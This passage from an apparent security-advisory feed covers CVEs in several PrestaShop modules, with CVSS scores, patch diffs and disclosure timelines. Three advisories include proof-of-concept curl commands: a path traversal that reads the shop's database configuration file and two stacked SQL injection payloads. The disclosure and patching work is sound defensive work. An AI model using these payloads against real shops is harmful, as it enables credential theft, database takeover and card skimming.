         $sql .= ' LIMIT ' . (((int) $p - 1) * (int) $n) . ',' . (int) $n;
<span class="p">@@ -839,7 +842,10 @@</span> class TvcmsPostsClass extends ObjectMode
         ';
         $sql .= ' WHERE xc.`active` = 1 ';
         if ($post_type != null) {
<span class="gd">-            $sql .= ' AND xc.post_type = "' . $post_type . '" ';
</span><span class="gi">+            $sql .= ' AND xc.post_type = "' . pSQL($post_type) . '" ';
+        }
+        if (Validate::isOrderWay($order_by) === false){
+           $order_by = 'DESC';
</span>         }
         $sql .= ' ORDER BY xc.`comment_count` ' . $order_by;
         $sql .= ' LIMIT ' . (int) $count;
<span class="p">@@ -940,7 +946,10 @@</span> class TvcmsPostsClass extends ObjectMode
         ';
         $sql .= ' WHERE xc.`active` = 1 ';
         if ($post_type != null) {
<span class="gd">-            $sql .= ' AND xc.post_type = "' . $post_type . '" ';
</span><span class="gi">+            $sql .= ' AND xc.post_type = "' . pSQL($post_type) . '" ';
+        }
+        if (Validate::isOrderWay($order_by) === false){
+           $order_by = 'DESC';
</span>         }
         $sql .= ' ORDER BY xc.`id_tvcmsposts` ' . $order_by;
         $sql .= ' LIMIT ' . (int) $count;
<span class="p">@@ -1172,7 +1181,10 @@</span> class TvcmsPostsClass extends ObjectMode
         ';
         $sql .= ' WHERE xc.`active` = 1 ';
         if ($post_type != null) {
<span class="gd">-            $sql .= ' AND xc.post_type = "' . $post_type . '" ';
</span><span class="gi">+            $sql .= ' AND xc.post_type = "' . pSQL($post_type) . '" ';
+        }
+        if (Validate::isOrderWay($order_by) === false){
+           $order_by = 'DESC';
</span>         }
         $sql .= ' ORDER BY xc.`position`  ' . $order_by;
         $sql .= ' LIMIT ' . (((int) $p - 1) * (int) $n) . ',' . (int) $n;
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>tvcmsblog</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Issue discovered during a code review by <a href="https://touchweb.fr">TouchWeb.fr</a> and documented by <a href="https://www.202-ecommerce.com/">202-ecommerce.com</a></td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>The author provided a patch, but it still contains all the critical vulnerabilities.</td>
    </tr>
    <tr>
      <td>2023-03-05</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-16</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Recontact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-25</td>
      <td>Publish this advisory and the CVE</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/themes-electronique-high-tech/29992-electron-mega-electronique-high-tech-store.html">PrestaShop addons product page</a></li>
  <li><a href="https://themevolty.com/electron-mega-electronic-store">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27846">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202 ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In tvcmsblog, dependancies of the theme Electron edited by Themevolty for PrestaShop, an attacker can perform a blind SQL injection.]]></summary></entry><entry><title type="html">[CVE-2023-46346] Improper Limitation of a Pathname to a Restricted Directory in MyPrestaModules - Product Catalog (CSV, Excel, XML) Export PRO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/24/exportproducts.html" rel="alternate" type="text/html" title="[CVE-2023-46346] Improper Limitation of a Pathname to a Restricted Directory in MyPrestaModules - Product Catalog (CSV, Excel, XML) Export PRO module for PrestaShop" /><published>2023-10-24T00:00:00+00:00</published><updated>2023-10-24T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/24/exportproducts</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/24/exportproducts.html"><![CDATA[<p>In the module “Product Catalog (CSV, Excel, XML) Export PRO” (exportproducts) up to 4.1.1 from MyPrestaModules for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46346">CVE-2023-46346</a></li>
  <li><strong>Published at</strong>: 2023-10-24</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: exportproducts</li>
  <li><strong>Impacted release</strong>: &lt;= 4.1.1 (5.0.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control and a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>Note : We are forced to tag it as a high gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<p><strong>WARNING</strong> : Be informed that this vulnerability is exploited.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin/Adminer/etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-d</span> <span class="s1">'url=../../config/settings.inc.php'</span> <span class="s1">'https://preprod.X/modules/exportproducts/download.php'</span>
</code></pre></div></div>

<h2 id="patch-from-411">Patch from 4.1.1</h2>

<p>The file has been comptely rewritten on 5.0.0.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/exportproducts/download.php
</span><span class="gi">+++ b/modules/exportproducts/download.php
</span><span class="gd">-$file = Tools::getValue('url');
</span><span class="gi">+$file = basename(Tools::getValue('url'));
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>exportproducts</strong>.</li>
  <li>You should consider restricting the access of modules/exportproducts/ to a whitelist</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-16</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-16</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-10-16</td>
      <td>PrestaShop Addons confirms versions scopes</td>
    </tr>
    <tr>
      <td>2023-10-16</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-24</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/18662-product-catalog-csv-excel-xml-export-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46346">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Catalog (CSV, Excel, XML) Export PRO” (exportproducts) up to 4.1.1 from MyPrestaModules for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2023-46347] Improper neutralization of SQL parameter in NDK Design - Step by Step products Pack module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/24/ndk_steppingpack.html" rel="alternate" type="text/html" title="[CVE-2023-46347] Improper neutralization of SQL parameter in NDK Design - Step by Step products Pack module for PrestaShop" /><published>2023-10-24T00:00:00+00:00</published><updated>2023-10-24T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/24/ndk_steppingpack</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/24/ndk_steppingpack.html"><![CDATA[<p>In the module “Step by Step products Pack” (ndk_steppingpack) up to 1.5.6 from NDK Design for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46347">CVE-2023-46347</a></li>
  <li><strong>Published at</strong>: 2023-10-24</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ndk_steppingpack</li>
  <li><strong>Impacted release</strong>: &lt;=1.5.6 (1.5.7 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: NdkDesign</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">NdkSpack::getPacks()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-d</span> <span class="s1">'search_query=1%22%29;select+0x73656C65637420736C656570283432293B+into+@a;prepare+b+from+@a;execute+b;--'</span> <span class="s1">'https://preprod.XX/modules/ndk_steppingpack/search-result.php'</span>
</code></pre></div></div>

<h2 id="patch-from-156">Patch from 1.5.6</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.5.6/modules/ndk_steppingpack/models/ndkSpack.php
</span><span class="gi">+++ 1.5.7/modules/ndk_steppingpack/models/ndkSpack.php
</span><span class="err">...</span>
		if(isset($query) &amp;&amp; $query !='')
		{
<span class="gd">-			$where_product .= ' AND (cpl.name LIKE "%'.$query.'%" OR cpl.description LIKE "%'.$query.'%" OR cpl.short_description LIKE "%'.$query.'%")';
</span><span class="gi">+			$where_product .= ' AND (cpl.name LIKE "%'.pSQL($query).'%" OR cpl.description LIKE "%'.pSQL($query).'%" OR cpl.short_description LIKE "%'.pSQL($query).'%")';
</span>		}
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>ndk_steppingpack</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-05-26</td>
      <td>TouchWeb discover a critical issue - recontact PrestaShop Addons</td>
    </tr>
    <tr>
      <td>2023-10-16</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-24</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/ventes-croisees-packs-produits/20221-packs-produits-par-etapes.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46347">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Step by Step products Pack” (ndk_steppingpack) up to 1.5.6 from NDK Design for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-46358] Improper neutralization of SQL parameter in Snegurka - Referral and Affiliation Program module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/24/referralbyphone.html" rel="alternate" type="text/html" title="[CVE-2023-46358] Improper neutralization of SQL parameter in Snegurka - Referral and Affiliation Program module for PrestaShop" /><published>2023-10-24T00:00:00+00:00</published><updated>2023-10-24T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/24/referralbyphone</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/24/referralbyphone.html"><![CDATA[<p>In the module “Referral and Affiliation Program” (referralbyphone) up to 3.5.1 (all versions - see WARNING) from Snegurka for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46358">CVE-2023-46358</a></li>
  <li><strong>Published at</strong>: 2023-10-24</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: referralbyphone</li>
  <li><strong>Impacted release</strong>: &lt;= 3.5.1 (WARNING : The author has not fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Snegurka</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Method <code class="language-plaintext highlighter-rouge">ReferralByPhoneDefaultModuleFrontController::ajaxProcessCartRuleValidate</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-d</span> <span class="s1">'fc=modulemodule=referralbyphone&amp;controller=default&amp;action=CartRuleValidate&amp;ws_voucher=%27;select+0x73656C65637420736C656570283432293B+into+@a;prepare+b+from+@a;execute+b;--'</span> <span class="s1">'https://preprod.X'</span>
</code></pre></div></div>

<h2 id="patch-from-351">Patch from 3.5.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.5.1/modules/referralbyphone/controllers/front/default.php
</span><span class="gi">+++ XXXXX/modules/referralbyphone/controllers/front/default.php
</span>        $id_ws_sponsor = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue(
<span class="gd">-           'SELECT `id_ws_sponsor` FROM `' . _DB_PREFIX_ . 'ws_ref_coupon_rule` WHERE `code` = \'' . $ws_voucher . '\''
</span><span class="gi">+           'SELECT `id_ws_sponsor` FROM `' . _DB_PREFIX_ . 'ws_ref_coupon_rule` WHERE `code` = \'' . pSQL($ws_voucher) . '\''
</span>        );
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module since author no longer maintain it.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-07-20</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-07-20</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-07-20</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-08-22</td>
      <td>Contact the author again for a fix</td>
    </tr>
    <tr>
      <td>2023-10-19</td>
      <td>Contact the author again for a fix</td>
    </tr>
    <tr>
      <td>2023-10-19</td>
      <td>PrestaShop Addons security Team confirms that the author has not yet produced a patch</td>
    </tr>
    <tr>
      <td>2023-10-20</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-24</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/sea-paid-advertising-affiliation-platforms/19203-referral-and-affiliation-program.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46358">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Referral and Affiliation Program” (referralbyphone) up to 3.5.1 (all versions - see WARNING) from Snegurka for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-43986] Improper neutralization of SQL parameter in DM Concept - Advanced configurator for customized product module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/19/configurator.html" rel="alternate" type="text/html" title="[CVE-2023-43986] Improper neutralization of SQL parameter in DM Concept - Advanced configurator for customized product module for PrestaShop" /><published>2023-10-19T00:00:00+00:00</published><updated>2023-10-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/19/configurator</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/19/configurator.html"><![CDATA[<p>In the module “Advanced configurator for customized product” (configurator) up to version 4.9.3 from DM Concept for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43986">CVE-2023-43986</a></li>
  <li><strong>Published at</strong>: 2023-10-19</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: configurator</li>
  <li><strong>Impacted release</strong>: &lt;= 4.9.3 (4.9.4 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: DM Concept</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">ConfiguratorAttachment::getAttachmentByToken</code> has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-493">Patch from 4.9.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.9.3/modules/configurator/classes/ConfiguratorAttachment.php
</span><span class="gi">+++ 4.9.4/modules/configurator/classes/ConfiguratorAttachment.php
</span>    public static function getAttachmentByToken($token)
    {
        $query = new DbQuery();
        $query-&gt;select('*')
            -&gt;from('configurator_attachment')
<span class="gd">-           -&gt;where('token = "' . $token . '"');
</span><span class="gi">+           -&gt;where('token = "' . pSQL($token) . '"');
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>configurator</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<p>DM Concept thanks TouchWeb for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-07-20</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-07-20</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-07-20</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-07-20</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-07-25</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/declinaisons-personnalisation/20343-configurateur-avance-de-produit-sur-mesure-par-etape.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43986">National Vulnerability Database</a></li>
